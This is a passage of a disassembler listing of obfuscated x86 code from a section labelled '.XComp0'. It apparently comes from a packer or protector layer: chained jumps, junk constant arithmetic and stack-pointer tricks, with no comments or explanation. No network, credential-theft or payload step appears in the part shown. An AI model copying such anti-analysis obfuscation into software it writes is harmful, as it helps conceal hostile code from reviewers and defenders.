XREF: .XComp0:0059080Dj add ebp, esi pop esi xchg ebp, [esp] pop esp xor bl, al jmp loc_58C8FB ; --------------------------------------------------------------------------- loc_58A01F: ; CODE XREF: .XComp0:00587379j push 21C2h push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop eax add esp, 4 push edi mov edi, 4 sub eax, 18D664FEh add eax, edi add eax, 18D664FEh pop edi sub esp, 4 mov [esp], ecx mov ecx, 2 add eax, 110B149Bh add eax, ecx sub eax, 110B149Bh jmp loc_590B72 ; --------------------------------------------------------------------------- loc_58A068: ; CODE XREF: .XComp0:00591C8Cj sub esp, 4 mov [esp], edi mov edi, ecx mov esi, edi pop edi pop ecx add ebx, 151C302Fh jmp loc_595146 ; --------------------------------------------------------------------------- loc_58A07F: ; CODE XREF: .XComp0:0058914Ej pop eax shl ebp, 5 shl ebp, 7 jmp loc_593E48 ; --------------------------------------------------------------------------- loc_58A08B: ; CODE XREF: .XComp0:005887ABj add ecx, 41A550A3h jmp loc_58DB17 ; --------------------------------------------------------------------------- loc_58A096: ; CODE XREF: .XComp0:loc_584549j mov edx, 5F1A67C8h jmp loc_589908 ; --------------------------------------------------------------------------- loc_58A0A0: ; CODE XREF: .XComp0:0058921Ej mov esp, [esp] sub esp, 4 mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 jmp loc_596197 ; --------------------------------------------------------------------------- loc_58A0C1: ; CODE XREF: .XComp0:0058CF3Bj xor ch, bh xor bh, ch xor ch, bh sub esp, 2 mov [esp], bx sub esp, 4 mov [esp], edx push 2989h mov [esp], ebx push eax mov al, ch mov bh, al jmp loc_58D00A ; --------------------------------------------------------------------------- loc_58A0E6: ; CODE XREF: .XComp0:00597173j and eax, ebp mov ebp, [esp] jmp loc_590A66 ; --------------------------------------------------------------------------- loc_58A0F0: ; CODE XREF: .XComp0:0058DAA2j mov [esp], esi push edi mov edi, 3AA2600Fh shl edi, 2 jmp loc_598499 ; --------------------------------------------------------------------------- loc_58A101: ; CODE XREF: .XComp0:00590D22j mov ebp, [esp] jmp loc_588F0E ; --------------------------------------------------------------------------- loc_58A109: ; CODE XREF: .XComp0:00589A4Dj push esi push 736A60DCh pop esi neg esi jmp loc_585FB8 ; --------------------------------------------------------------------------- loc_58A117: ; CODE XREF: .XComp0:00588518j push eax mov eax, 61F93B76h shl eax, 4 sub eax, 66B36DE3h shr eax, 4 jmp loc_5982B1 ; --------------------------------------------------------------------------- loc_58A12D: ; CODE XREF: .XComp0:00598093j pop dword ptr [esp] pop esp jmp loc_58A373 ; --------------------------------------------------------------------------- loc_58A136: ; CODE XREF: .XComp0:00591CDAj mov ebp, esp push esi jmp loc_5959E6 ; --------------------------------------------------------------------------- loc_58A13E: ; CODE XREF: .XComp0:005906C3j push edi push 3975h jmp loc_594F99 ; --------------------------------------------------------------------------- loc_58A149: ; CODE XREF: .XComp0:00594424j sub [esp], ebx jmp loc_594E25 ; --------------------------------------------------------------------------- loc_58A151: ; CODE XREF: .XComp0:00596A58j push edi jmp loc_58D838 ; --------------------------------------------------------------------------- loc_58A157: ; CODE XREF: .XComp0:00584127j mov esi, 4 sub ebp, esi jmp loc_58E04A ; --------------------------------------------------------------------------- loc_58A163: ; CODE XREF: .XComp0:00584234j mov ebx, 2417541Dh mov edx, 48E17650h jmp loc_58F531 ; --------------------------------------------------------------------------- loc_58A172: ; CODE XREF: .XComp0:00590736j mov [esp], esp sub esp, 4 mov [esp], edx jmp loc_58CB1B ; --------------------------------------------------------------------------- loc_58A183: ; CODE XREF: .XComp0:00593C3Dj sub edx, ecx mov ecx, [esp] jmp loc_5884B1 ; --------------------------------------------------------------------------- loc_58A18D: ; CODE XREF: .XComp0:005946CFj pop ebp add edi, 4 xchg edi, [esp] pop esp jmp loc_597532 ; --------------------------------------------------------------------------- loc_58A19A: ; CODE XREF: .XComp0:00595D87j mov [esp], edi push edx push ecx mov ecx, 54D274DBh jmp loc_5937A8 ; --------------------------------------------------------------------------- loc_58A1A9: ; CODE XREF: .XComp0:0059839Ej add ebp, esi jmp loc_588B03 ; --------------------------------------------------------------------------- loc_58A1B0: ; CODE XREF: .XComp0:0058E6C0j mov [esp], edi jmp loc_588D4C ; --------------------------------------------------------------------------- loc_58A1B8: ; CODE XREF: .XComp0:00590661j push edx push ecx mov cl, 4Fh sub cl, 56h inc cl shl cl, 5 jmp loc_585A68 ; --------------------------------------------------------------------------- loc_58A1C9: ; CODE XREF: .XComp0:0058CE67j sub ah, dh pop edx jmp loc_58C546 ; --------------------------------------------------------------------------- loc_58A1D1: ; CODE XREF: .XComp0:00592C6Bj pop edx sub ecx, edi mov edi, [esp] add esp, 4 neg ecx xor ecx, 0CE6FFF1Ah add edi, ecx pop ecx push ebp mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] jmp loc_589649 ; --------------------------------------------------------------------------- loc_58A1F9: ; CODE XREF: .XComp0:00593895j mov esi, 6FD66BA5h or esi, 5E3855A0h push eax mov eax, 74F714F3h sub esi, eax pop eax add esi, 3C8675A5h jmp loc_590122 ; --------------------------------------------------------------------------- loc_58A218: ; CODE XREF: .XComp0:00584F9Aj add esi, 1 sub esi, 7CA0DDB0h xor ecx, esi pop esi jmp loc_5957D9 ; --------------------------------------------------------------------------- push eax push 2655h jmp loc_596430 ; --------------------------------------------------------------------------- loc_58A234: ; CODE XREF: .XComp0:00585591j xchg eax, [esp] pop esp push 6EA0h mov [esp], ecx push ebx jmp loc_587526 ; --------------------------------------------------------------------------- loc_58A246: ; CODE XREF: .XComp0:0058E3B5j push 7138h mov [esp], eax jmp loc_58BD2F ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push esp pop ecx add ecx, 4 push eax jmp loc_5864CC ; --------------------------------------------------------------------------- loc_58A266: ; CODE XREF: .XComp0:0059442Fj xor eax, 0F6D3CD0Dh xor edi, eax pop eax mov ebx, 48D24541h xor ebx, edi mov edi, [esp] push 4B6Eh jmp loc_598AEF ; --------------------------------------------------------------------------- loc_58A282: ; CODE XREF: .XComp0:0058B866j push ecx mov ecx, 6E653FDFh xchg eax, ecx jmp loc_589A52 ; --------------------------------------------------------------------------- loc_58A28E: ; CODE XREF: .XComp0:0058EB35j pop eax push ecx mov ecx, 3CA725E6h sub ebp, ecx pop ecx add ebp, esi add ebp, 3CA725E6h push dword ptr [esp] pop esi add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5950A3 ; --------------------------------------------------------------------------- loc_58A2B8: ; CODE XREF: .XComp0:00586B7Fj push esi mov esi, esp add esi, 4 jmp loc_58632F ; --------------------------------------------------------------------------- loc_58A2C6: ; CODE XREF: .XComp0:0058F4DDj sub dh, 0FFh or dh, 9Bh push cx mov ch, 62h and dh, ch pop cx sub esp, 2 mov [esp], ax jmp loc_5918D1 ; --------------------------------------------------------------------------- loc_58A2E0: ; CODE XREF: .XComp0:00598234j mov eax, 21525B28h dec eax jmp loc_58C4AB ; --------------------------------------------------------------------------- loc_58A2EB: ; CODE XREF: .XComp0:00597B4Bj sub ecx, 2DE04821h mov ebx, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_58F6AC ; --------------------------------------------------------------------------- loc_58A302: ; CODE XREF: .XComp0:0058920Dj add ecx, edi jmp loc_59294C ; --------------------------------------------------------------------------- loc_58A309: ; CODE XREF: .XComp0:0058B819j xor esi, 7DD5410Fh push ebp mov ebp, 48604B1Ah push ebp not dword ptr [esp] jmp loc_590ADA ; --------------------------------------------------------------------------- loc_58A31E: ; CODE XREF: .XComp0:0058E06Dj push ebp jmp loc_598802 ; --------------------------------------------------------------------------- loc_58A324: ; CODE XREF: .XComp0:005865C9j pop esi pop ebp dec ebx xchg eax, ebx jmp loc_5966AE ; --------------------------------------------------------------------------- loc_58A32D: ; CODE XREF: .XComp0:005988B0j sub eax, ebx sub eax, 67EC317Bh jmp loc_587017 ; --------------------------------------------------------------------------- push dword ptr [edi+38h] jmp loc_5862EA ; --------------------------------------------------------------------------- loc_58A341: ; CODE XREF: .XComp0:005989E6j mov edi, esp jmp loc_587062 ; --------------------------------------------------------------------------- loc_58A348: ; CODE XREF: .XComp0:005853BCj mov ch, 0DBh add al, 11h add al, ch sub al, 11h push dword ptr [esp] pop ecx add esp, 4 add al, bl jmp loc_58F005 ; --------------------------------------------------------------------------- loc_58A35E: ; CODE XREF: .XComp0:00595DFDj mov [esp], edx jmp loc_58CB02 ; --------------------------------------------------------------------------- loc_58A366: ; CODE XREF: .XComp0:00590E79j dec eax push esi push ebx mov ebx, 61265E2Eh jmp loc_5978A2 ; --------------------------------------------------------------------------- loc_58A373: ; CODE XREF: .XComp0:0058A131j push ebp jmp loc_5844E8 ; --------------------------------------------------------------------------- loc_58A379: ; CODE XREF: .XComp0:00585294j sub edi, 4 jmp loc_596D02 ; --------------------------------------------------------------------------- loc_58A384: ; CODE XREF: .XComp0:005921F5j pop eax shr cl, 2 push ax mov al, 92h jmp loc_584162 ; --------------------------------------------------------------------------- loc_58A391: ; CODE XREF: .XComp0:0059317Ej xchg eax, [esp] jmp loc_598598 ; --------------------------------------------------------------------------- loc_58A399: ; CODE XREF: .XComp0:00589DBEj add esp, 2 push ebx push esp pop ebx add ebx, 4 jmp loc_588419 ; --------------------------------------------------------------------------- loc_58A3AD: ; CODE XREF: .XComp0:00592424j mov ecx, [esp] push edi jmp loc_59251C ; --------------------------------------------------------------------------- loc_58A3B6: ; CODE XREF: .XComp0:00596A3Dj sub ebx, edx xchg ebx, edx push dword ptr [esp] jmp loc_598DF6 ; --------------------------------------------------------------------------- loc_58A3C2: ; CODE XREF: .XComp0:005896C8j mov esi, 2 mov edi, esi jmp loc_589BD7 ; --------------------------------------------------------------------------- loc_58A3CE: ; CODE XREF: .XComp0:0058FB22j push ebx push dword ptr [esp+4] pop ebx jmp loc_591EB4 ; --------------------------------------------------------------------------- loc_58A3D9: ; CODE XREF: .XComp0:00592A78j mov edi, [esp] push eax jmp loc_588FCC ; --------------------------------------------------------------------------- loc_58A3E2: ; CODE XREF: .XComp0:0058CFB8j add edi, 4 add edi, 4 jmp loc_589ECD ; --------------------------------------------------------------------------- loc_58A3F3: ; CODE XREF: .XComp0:00593466j add esp, 4 add edi, 30481995h add edi, ebp sub edi, 30481995h pop ebp push edi push dword ptr [esp+4] jmp loc_5857E0 ; --------------------------------------------------------------------------- loc_58A412: ; CODE XREF: .XComp0:0059183Bj pop edx jmp loc_593FDA ; --------------------------------------------------------------------------- loc_58A418: ; CODE XREF: .XComp0:0058DF1Aj mov edx, 6B19626Fh jmp loc_5896CD ; --------------------------------------------------------------------------- loc_58A422: ; CODE XREF: .XComp0:0058C3B8j pop ebx jmp loc_588294 ; --------------------------------------------------------------------------- loc_58A428: ; CODE XREF: .XComp0:00589051j xchg eax, [esp] pop esp sub al, bl jmp loc_5904EB ; --------------------------------------------------------------------------- loc_58A433: ; CODE XREF: .XComp0:00588752j sub eax, ebp pop ebp add eax, 54C57887h sub eax, 0F621E7Ch sub eax, 6E9F5D56h add eax, ebx add eax, 6E9F5D56h jmp loc_58C88D ; --------------------------------------------------------------------------- loc_58A451: ; CODE XREF: .XComp0:00592EDDj add eax, ebx sub eax, 3C0B3872h push 341Dh mov [esp], ebx push eax mov eax, 5DA43EDBh jmp loc_59324B ; --------------------------------------------------------------------------- loc_58A46B: ; CODE XREF: .XComp0:005950D2j push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edi push esp jmp loc_587938 ; --------------------------------------------------------------------------- loc_58A481: ; CODE XREF: .XComp0:00589759j mov eax, [esp] add esp, 4 jmp loc_5973EE ; --------------------------------------------------------------------------- loc_58A48F: ; CODE XREF: .XComp0:00592D47j mov [esp], ecx mov ecx, 0A2A1DAEFh add edi, ecx pop ecx add ebp, edi pop edi jmp loc_598C26 ; --------------------------------------------------------------------------- loc_58A4A2: ; CODE XREF: .XComp0:00587F94j mov [esp], ecx mov ecx, 23CE5F16h sub ecx, 79557E3Fh jmp loc_587C14 ; --------------------------------------------------------------------------- loc_58A4B5: ; CODE XREF: .XComp0:00597C19j pop dx mov bh, cl jmp loc_591347 ; --------------------------------------------------------------------------- loc_58A4BE: ; CODE XREF: .XComp0:005946E1j and ebx, esi jmp loc_588A73 ; --------------------------------------------------------------------------- loc_58A4C5: ; CODE XREF: .XComp0:00590A37j pop ebp push edx jmp loc_58933A ; --------------------------------------------------------------------------- loc_58A4CC: ; CODE XREF: .XComp0:0058D3BAj mov ebx, esp add ebx, 4 jmp loc_595F9E ; --------------------------------------------------------------------------- loc_58A4D9: ; CODE XREF: .XComp0:00596933j mov [esp], esi push 1FCB7D6Ah jmp loc_596AF7 ; --------------------------------------------------------------------------- loc_58A4E6: ; CODE XREF: .XComp0:00593990j add eax, 4 jmp loc_594909 ; --------------------------------------------------------------------------- loc_58A4F0: ; CODE XREF: .XComp0:0058C59Bj push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_587D5C ; --------------------------------------------------------------------------- loc_58A506: ; CODE XREF: .XComp0:00594981j mov ebp, [esp] add esp, 4 push ebp push ecx pop ebp pop ecx not ecx xchg ecx, ebp push ebp not dword ptr [esp] pop ebp push ebp sub dword ptr [esp], 0FFFFFFFFh pop ebp push edx jmp loc_5866CD ; --------------------------------------------------------------------------- loc_58A528: ; CODE XREF: .XComp0:0058E549j add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_599038 ; --------------------------------------------------------------------------- loc_58A53C: ; CODE XREF: .XComp0:00593FB2j mov eax, ecx jmp loc_590236 ; --------------------------------------------------------------------------- loc_58A543: ; CODE XREF: .XComp0:00587AEBj push ebx mov ebx, 66C8E3BFh jmp loc_590F54 ; --------------------------------------------------------------------------- loc_58A54E: ; CODE XREF: .XComp0:00586BBEj add edx, eax jmp loc_594835 ; --------------------------------------------------------------------------- loc_58A555: ; CODE XREF: .XComp0:00592B24j sub ebx, 21674738h add ebx, ebp jmp loc_5903B3 ; --------------------------------------------------------------------------- loc_58A562: ; CODE XREF: .XComp0:00593F84j pop eax xor edi, 524001C9h push esi jmp loc_58A7BE ; --------------------------------------------------------------------------- loc_58A56F: ; CODE XREF: .XComp0:0058D86Fj push eax mov ah, 85h jmp loc_58413F ; --------------------------------------------------------------------------- loc_58A577: ; CODE XREF: .XComp0:005861D3j shr ecx, 2 push edx mov edx, 0D633F484h add ecx, edx mov edx, [esp] add esp, 4 push ebp jmp loc_5866E9 ; --------------------------------------------------------------------------- loc_58A58E: ; CODE XREF: .XComp0:0059876Ej and ecx, 59941D2Bh sub ecx, 39F0167Ch xor ecx, 0CEA3F182h add ebp, ecx jmp loc_5944F4 ; --------------------------------------------------------------------------- loc_58A5A7: ; CODE XREF: .XComp0:0058878Bj add ecx, 0B7CB8198h mov eax, ecx pop ecx add eax, edi push esi pop dword ptr [eax] pop eax pop esi xor [edi+20h], edx jmp loc_589027 ; --------------------------------------------------------------------------- loc_58A5BF: ; CODE XREF: .XComp0:0058EBF7j shr edx, 6 shl edx, 7 jmp loc_58478F ; --------------------------------------------------------------------------- loc_58A5CA: ; CODE XREF: .XComp0:0058D01Dj pop eax add esi, 12C8814Ah mov edi, esi mov esi, [esp] jmp loc_5933DB ; --------------------------------------------------------------------------- loc_58A5DB: ; CODE XREF: .XComp0:00592E6Ej add ebp, 20921998h push edi mov edi, 36192A23h add ebp, edi pop edi jmp loc_58979C ; --------------------------------------------------------------------------- loc_58A5EF: ; CODE XREF: .XComp0:00590A8Fj mov ebp, 50AF4FBBh jmp loc_58A91D ; --------------------------------------------------------------------------- loc_58A5F9: ; CODE XREF: .XComp0:0058A8F9j mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_58D63C ; --------------------------------------------------------------------------- loc_58A60B: ; CODE XREF: .XComp0:0058C027j add ch, 34h push edx mov dh, 0C5h add ch, dh pop edx add ch, al sub ch, 0C5h push ebx mov bh, 34h push ax jmp loc_58402E ; --------------------------------------------------------------------------- loc_58A623: ; CODE XREF: .XComp0:005916B4j mov edx, esi mov esi, [esp] add esp, 4 jmp loc_591042 ; --------------------------------------------------------------------------- loc_58A633: ; CODE XREF: .XComp0:00592800j mov ecx, [esp] push eax mov eax, esp jmp loc_59658E ; --------------------------------------------------------------------------- loc_58A63E: ; CODE XREF: .XComp0:0058AE96j not ebx dec ebx shr ebx, 6 not ebx xor ebx, 0C26E7468h add edi, ebx pop ebx mov ebx, [esp] jmp loc_596B66 ; --------------------------------------------------------------------------- loc_58A657: ; CODE XREF: .XComp0:00596847j or edx, ebp pop ebp jmp loc_598586 ; --------------------------------------------------------------------------- loc_58A65F: ; CODE XREF: .XComp0:00592982j mov ecx, edi pop edi or ebp, ecx pop ecx jmp loc_584232 ; --------------------------------------------------------------------------- loc_58A66A: ; CODE XREF: .XComp0:0058C69Dj add esi, edx push edx mov edx, 5DC41509h jmp loc_597517 ; --------------------------------------------------------------------------- loc_58A677: ; CODE XREF: .XComp0:00584443j mov esi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_58F491 ; --------------------------------------------------------------------------- loc_58A68B: ; CODE XREF: .XComp0:00598CC6j mov [esp], ebp push edi sub dword ptr [esp], 1CB652A5h jmp loc_587CC3 ; --------------------------------------------------------------------------- loc_58A69B: ; CODE XREF: .XComp0:0058FA7Aj pop edx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] pop eax push 485Ch jmp loc_58ABCF ; --------------------------------------------------------------------------- loc_58A6B6: ; CODE XREF: .XComp0:0058CB79j mov ebx, 0AEE5DF5h dec ebx sub ebx, 95773B4Fh add ebp, ebx pop ebx sub esp, 4 mov [esp], esi mov esi, 79D72EC5h or esi, 120471D1h jmp loc_5920DF ; --------------------------------------------------------------------------- loc_58A6DB: ; CODE XREF: .XComp0:00585300j sub esi, ebp jmp loc_5867CD ; --------------------------------------------------------------------------- loc_58A6E2: ; CODE XREF: .XComp0:005954F5j pop ebx push ebp push eax mov eax, 17FA2FB8h jmp loc_584C79 ; --------------------------------------------------------------------------- loc_58A6EF: ; CODE XREF: .XComp0:00589FE5j add ecx, 4 add ecx, 4 jmp loc_5846AB ; --------------------------------------------------------------------------- loc_58A6FD: ; CODE XREF: .XComp0:0058BB60j inc ebx push ebp jmp loc_5904BA ; --------------------------------------------------------------------------- loc_58A704: ; CODE XREF: .XComp0:005937CBj pop ebx push eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 4024152Fh shl ecx, 2 jmp loc_58F53F ; --------------------------------------------------------------------------- loc_58A726: ; CODE XREF: .XComp0:0059044Dj inc dword ptr [esp] jmp loc_585D14 ; --------------------------------------------------------------------------- loc_58A72E: ; CODE XREF: .XComp0:0058D833j push dword ptr [esp+4] mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_585BB0 ; --------------------------------------------------------------------------- loc_58A74D: ; CODE XREF: .XComp0:0058DB77j push 23B97580h pop eax jmp loc_588FDF ; --------------------------------------------------------------------------- loc_58A758: ; CODE XREF: .XComp0:00591240j xor [esp], edx xor edx, [esp] mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_591A09 ; --------------------------------------------------------------------------- loc_58A76B: ; CODE XREF: .XComp0:005987DDj push ecx mov ecx, 39AE0845h or ecx, 6197285Fh push edi mov edi, 1C2C2F1Ah and ecx, edi mov edi, [esp] add esp, 4 sub ecx, 76C5041Ah push edx mov edx, 0D02B0C99h add ecx, edx pop edx jmp loc_58782B ; --------------------------------------------------------------------------- loc_58A799: ; CODE XREF: .XComp0:00590105j pop ecx xor bh, dl push dword ptr [esp] pop edx add esp, 4 add bh, 1 push ebx dec byte ptr [esp+1] pop ebx jmp loc_586FE8 ; --------------------------------------------------------------------------- loc_58A7B1: ; CODE XREF: .XComp0:0058D8C8j mov ebp, 7C7738B0h shr ebp, 4 jmp loc_5989EB ; --------------------------------------------------------------------------- loc_58A7BE: ; CODE XREF: .XComp0:0058A56Aj mov esi, 569E07D8h jmp loc_58855F ; --------------------------------------------------------------------------- loc_58A7C8: ; CODE XREF: .XComp0:0058B7B0j xor bh, 0DDh push eax jmp loc_58D724 ; --------------------------------------------------------------------------- loc_58A7D1: ; CODE XREF: .XComp0:0059789Dj add edi, 1 push ebx push 7532h jmp loc_58ED39 ; --------------------------------------------------------------------------- loc_58A7E2: ; CODE XREF: .XComp0:00592AB3j push ecx jmp loc_591C87 ; --------------------------------------------------------------------------- loc_58A7E8: ; CODE XREF: .XComp0:0058D6FBj push edx mov edx, 376D77B3h shl edx, 4 push eax push ebp push 7A3B39D1h pop ebp add ebp, 0FC47C919h mov eax, ebp jmp loc_593777 ; --------------------------------------------------------------------------- loc_58A806: ; CODE XREF: .XComp0:00592C2Dj mov eax, 7475B53h jmp loc_58EF63 ; --------------------------------------------------------------------------- loc_58A810: ; CODE XREF: .XComp0:00585068j pop edx add ecx, 3C200CECh xor ecx, 3E543D75h add ecx, 0BF6BEE75h add eax, ecx mov ecx, [esp] add esp, 4 push 27DDh mov [esp], esi push 75DCh mov [esp], eax mov eax, 7B8129E6h mov esi, 0F04B7F60h sub esi, eax jmp loc_5955A4 ; --------------------------------------------------------------------------- loc_58A84C: ; CODE XREF: .XComp0:00591AF9j add ebx, 8F0FC734h jmp loc_586E04 ; --------------------------------------------------------------------------- loc_58A857: ; CODE XREF: .XComp0:00587794j add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_586A7D ; --------------------------------------------------------------------------- loc_58A868: ; CODE XREF: .XComp0:00585B86j xor edi, [esp] mov esp, [esp] push eax jmp loc_58BE71 ; --------------------------------------------------------------------------- loc_58A874: ; CODE XREF: .XComp0:0058B5BFj mov ebx, 4 add esi, ebx pop ebx add esi, 4 jmp loc_592552 ; --------------------------------------------------------------------------- loc_58A884: ; CODE XREF: .XComp0:00596147j mov dh, 0C8h sub dh, 7Eh sub ch, dh jmp loc_58C1F4 ; --------------------------------------------------------------------------- loc_58A890: ; CODE XREF: .XComp0:00595ED6j add esp, 2 push 4E79h jmp loc_590EB2 ; --------------------------------------------------------------------------- loc_58A8A0: ; CODE XREF: .XComp0:0058E9A8j mov [esp], ebp jmp loc_597C8F ; --------------------------------------------------------------------------- loc_58A8A8: ; CODE XREF: .XComp0:0058DEECj mov esp, [esp] xor bl, al movzx eax, al push esi push esp mov esi, [esp] push eax mov eax, esp add eax, 4 push esi push eax mov eax, 6ADE7477h mov esi, 792F8BCCh sub esi, eax pop eax add esi, 1 push ebx mov ebx, 0F1AEE8AEh add esi, ebx pop ebx jmp loc_5918A2 ; --------------------------------------------------------------------------- loc_58A8DD: ; CODE XREF: .XComp0:005843BDj mov [esp], cx movzx cx, al push cx pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58A8ED: ; CODE XREF: .XComp0:00597A30j push esp pop edx jmp loc_596550 ; --------------------------------------------------------------------------- loc_58A8F4: ; CODE XREF: .XComp0:005897D7j push 492Fh jmp loc_58A5F9 ; --------------------------------------------------------------------------- loc_58A8FE: ; CODE XREF: .XComp0:00584366j xor ecx, 0C6DD8C45h push ebx mov ebx, ecx mov ebp, ebx pop ebx push dword ptr [esp] jmp loc_592B08 ; --------------------------------------------------------------------------- loc_58A912: ; CODE XREF: .XComp0:0058C10Dj push edx mov dh, ah mov bl, dh pop edx jmp loc_596B12 ; --------------------------------------------------------------------------- loc_58A91D: ; CODE XREF: .XComp0:0058A5F4j not ebp shl ebp, 4 jmp loc_5932DC ; --------------------------------------------------------------------------- loc_58A927: ; CODE XREF: .XComp0:00598831j not edi xchg edi, ebp push 134Ah jmp loc_588599 ; --------------------------------------------------------------------------- loc_58A935: ; CODE XREF: .XComp0:0058FCE6j push 271Eh mov [esp], edi push eax mov eax, 5EE40257h shl eax, 4 jmp loc_595C07 ; --------------------------------------------------------------------------- loc_58A94B: ; CODE XREF: .XComp0:0058B9CCj pop esp jmp loc_598ED1 ; --------------------------------------------------------------------------- loc_58A951: ; CODE XREF: .XComp0:0058C763j pop esi add edi, 2 jmp loc_583FAB ; --------------------------------------------------------------------------- loc_58A95D: ; CODE XREF: .XComp0:0059177Fj push eax mov eax, 4 add ebp, eax jmp loc_585669 ; --------------------------------------------------------------------------- loc_58A96A: ; CODE XREF: .XComp0:00590BF9j add ebx, 49150005h xor ebx, 0E6D3DB8h sub ebx, 1 push eax mov eax, 2F418E9h jmp loc_592C29 ; --------------------------------------------------------------------------- loc_58A987: ; CODE XREF: .XComp0:005891BEj push ebx sub esp, 4 jmp loc_588113 ; --------------------------------------------------------------------------- loc_58A990: ; CODE XREF: .XComp0:0058AA86j mov [esp], edx mov dl, 0EBh jmp loc_5959F0 ; --------------------------------------------------------------------------- loc_58A99A: ; CODE XREF: .XComp0:00587327j mov esi, 59050285h push esi pop eax mov esi, [esp] add esp, 4 push edi mov edi, 6E4E3077h sub edi, 4A30E2EEh or eax, edi pop edi jmp loc_5930FD ; --------------------------------------------------------------------------- loc_58A9BB: ; CODE XREF: .XComp0:00588B59j add ebx, esi sub ebx, 59EC4F6Fh mov esi, [esp] add esp, 4 push ecx jmp loc_595592 ; --------------------------------------------------------------------------- loc_58A9CF: ; CODE XREF: .XComp0:005876E0j pop ecx push 4EEAh mov [esp], edx push ecx mov ch, 64h shr ch, 6 xor ch, 0Bh add ch, 0Ah mov dl, ch pop ecx add dl, 0FFh not dl xor dl, 19h jmp loc_594CC1 ; --------------------------------------------------------------------------- loc_58A9F4: ; CODE XREF: .XComp0:0058C479j push dword ptr [edi+eax*4] push ebp push 400A2C47h pop ebp jmp loc_5896B4 ; --------------------------------------------------------------------------- loc_58AA03: ; CODE XREF: .XComp0:00591055j sub al, dh jmp loc_5934E5 ; --------------------------------------------------------------------------- loc_58AA0A: ; CODE XREF: .XComp0:00597E21j sub edx, 7CA00DFEh add edx, ecx push ebp mov ebp, 7CA00DFEh add edx, 5E222FDBh add edx, ebp sub edx, 5E222FDBh pop ebp push 3098h mov [esp], esi push ebx mov ebx, 2CE55C4Ch mov esi, ebx pop ebx inc esi shr esi, 7 neg esi and esi, 49981529h sub esi, 71FF78h add edx, esi mov esi, [esp] add esp, 4 add eax, [edx] mov edx, [esp] add esp, 4 jmp loc_59346B ; --------------------------------------------------------------------------- loc_58AA62: ; CODE XREF: .XComp0:0058F7A5j mov [esp], ecx mov ch, 0D9h mov dh, 0A6h xor dh, ch mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 738Dh jmp loc_58A990 ; --------------------------------------------------------------------------- loc_58AA8B: ; CODE XREF: .XComp0:00588437j and esi, 4B4B1BC0h neg esi dec esi sub esi, 4057E696h sub ecx, esi pop esi sub ecx, 4D9A79B1h add ecx, edx add ecx, 4D9A79B1h add ecx, 7D5D1069h mov edx, [esp] add esp, 4 push 2FBCh mov [esp], esi mov esi, 2 add ecx, 2E4653BBh add ecx, esi sub ecx, 2E4653BBh pop esi push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx push ebx jmp loc_58EEFC ; --------------------------------------------------------------------------- loc_58AAE5: ; CODE XREF: .XComp0:00588385j mov [esp], esi push edx push ebp push ebx jmp loc_5858E3 ; --------------------------------------------------------------------------- loc_58AAF0: ; CODE XREF: .XComp0:00595A4Aj pop eax sub edx, 29BE63AAh add edx, 4BA12C66h add edx, edi jmp loc_589175 ; --------------------------------------------------------------------------- loc_58AB04: ; CODE XREF: .XComp0:0058D0D2j add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 35585989h shl ecx, 7 push edx mov edx, 20CB24D6h xor ecx, edx push dword ptr [esp] pop edx push ebp jmp loc_58D4F1 ; --------------------------------------------------------------------------- loc_58AB27: ; CODE XREF: .XComp0:005880F2j xchg ecx, [esp] pop esp mov [esp], eax mov eax, 6C28589Ah not eax push esi push ebx push 40DF3F76h jmp loc_5943BA ; --------------------------------------------------------------------------- loc_58AB41: ; CODE XREF: .XComp0:00597A7Fj mov edi, esp add edi, 4 push edx mov edx, 4 sub edi, edx pop edx xchg edi, [esp] pop esp mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx jmp loc_5886DF ; --------------------------------------------------------------------------- loc_58AB68: ; CODE XREF: .XComp0:0059198Fj sub cl, dh jmp loc_598932 ; --------------------------------------------------------------------------- loc_58AB6F: ; CODE XREF: .XComp0:00594B48j shl ecx, 2 xor ecx, 7E9077A6h jmp loc_594264 ; --------------------------------------------------------------------------- loc_58AB7D: ; CODE XREF: .XComp0:0058DD81j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58AB82: ; CODE XREF: .XComp0:00593852j pop esp shl eax, cl push 37F6h jmp loc_58722F ; --------------------------------------------------------------------------- loc_58AB8F: ; CODE XREF: .XComp0:005877B0j inc ebx xor ebx, 0AE15A0F2h add edx, ebx pop ebx jmp loc_58449F ; --------------------------------------------------------------------------- loc_58AB9E: ; CODE XREF: .XComp0:0058E44Aj mov eax, [esp] add esp, 4 sub eax, edx pop edx mov ecx, [esp] push ecx jmp loc_590AE3 ; --------------------------------------------------------------------------- loc_58ABB0: ; CODE XREF: .XComp0:0058476Dj push dword ptr [esp] mov eax, [esp] jmp loc_58E993 ; --------------------------------------------------------------------------- loc_58ABBB: ; CODE XREF: .XComp0:0059027Ej push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58ABCF: ; CODE XREF: .XComp0:0058A6B1j mov [esp], edx push esp jmp loc_58630E ; --------------------------------------------------------------------------- loc_58ABD8: ; CODE XREF: .XComp0:00595102j pop esi jmp loc_59339F 